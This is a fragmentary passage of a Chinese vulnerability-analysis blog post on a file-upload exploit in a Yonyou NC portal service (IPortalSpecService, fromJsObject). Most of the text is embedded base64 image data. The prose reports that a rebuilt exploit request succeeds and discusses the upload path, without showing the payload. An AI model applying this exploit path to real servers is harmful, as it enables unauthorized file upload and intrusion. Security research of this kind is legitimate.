DM8M2Lo+ZQtpLlTE25sSZiknYZYPJ2P0FmXnk5hcz1NtFw41L+LNzKatYjmKxAmbeyer1m1i9fjOyotB48zIN1y9htdl58vO/gKapCILA8EAvfZ2tgGmN3HvkBYrKKjB0g8DsFBeOv83UxCgut5fDz38ZX3YOhm4w2NfJhRNHMXSDI5972RSSXR72P/k5NE3j9e/+DXMzk/fst27ArtVudq12U1loo2csTr5XwSaZIT0FfoXf/2IxhgCXW0NcbAtCHCyyyHPbstiywoUsCThsImcbAvz3N0Zw2iQer/Hy5X256LqBphnp8ESbIhKO6bx7fZbWoShzYY2lBTYQYEmulV85kk9loQ1RgI6RGP/pB4NkuWW+cSiPslwrBhCJaZTlW/mjV4bpHYvztf05VBTYsFslXHaRV85P890zEzhtEi/tyuLgeh+KLBBN6Pxfb49ytT3EtpUuntrkx2YVyXLLDE0n+ONXRugai7FthYuvPZaD1ymjyAIXmoP87bExvA6ZXzqUS5ZTxuNUcNlF3rk+w/88Ps6h9V6e2uzH65J4YYefvWs9tA5G+bO3RpkKJsnNL0JRLNReOm1KDOYq4/H66WproLX+BjaHk3AwQGDWFKqq1m1m467HkCTJ9ELcvELD9YssWbaK1es3Y7Fa0TQdAZibneLSiaPkFZWyced+DMPA7nASCsxx6eRRRgb78Pj8PP7Cy7g8PjRNZai3i2vnTxCcm2HP488jCGB3upFlmZa669RdPU8sGmHr3sOsXLcJQ9eJx6JcPfs+Az0dZOXk89QXf5GZqUncXh+xaIRz773OyEAvj3/uZWRZwePPZseBp1CTSS6dPEprww10QycSCrJ28w7CwQDxaAQhRfOrarayYcc+BFFETSa4euZ9utoaWbd1F8tWrcOblY3b62dZ1Xp62po4886rOL0+9h15gdzCYgRBZHpilPdf/6cHhjbZnU4OPfdFdE3HMMx8DLvTxY++/Wfous76rbtZUV0DgkA8FuX46z8gEg6yefcBKpZX4fL4UuNK0HTzCtcvnCS/qJTtjz2B2+tHkmTGhvs59ur30DQNQRAIBmbp7WhlxdoNGLrxwGxPu2ywtyjJjoI4OTaNr62IoOoCdZMWXu+xohuwJT/Ocp9Ktk2jbUbmux0OoirsKUyw1KuhiOBRdDrmJH7cZSemCRwujbMtLw4IxHR4o8fOQFDicEmCC6MKK30aG3MS/EWTk12FLine truncated
<p>查看实例化过程,通过this.getImplementationClass()获取对象</p>
<p><a id=img18 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105622-f1a9638e-df52-1.png title><img src="data:image/png;base64,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 truncated
<p>PortalSpecServiceImpl是实现的这个接口nc.uap.portal.service.itf.IPortalSpecService。<br>
那类就应该为IPortalSpecService,重新构造发包<br>
服务器返回200,exp没问题了,但是发现文件上传到目录不对,应该是filePath拼接的目录有问题。</p>
<p><a id=img19 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311110614-51f63b26-df54-1.png title><img src=data:image/png;base64,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 truncated
<h2 id=toc-4>0x04</h2>
<p>回到上面的在call()中的处理参数字符串那段<br>
会用fromJsObject进行处理</p>
<p><a id=img20 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105713-0f7df0be-df53-1.png><img src="data:image/png;base64,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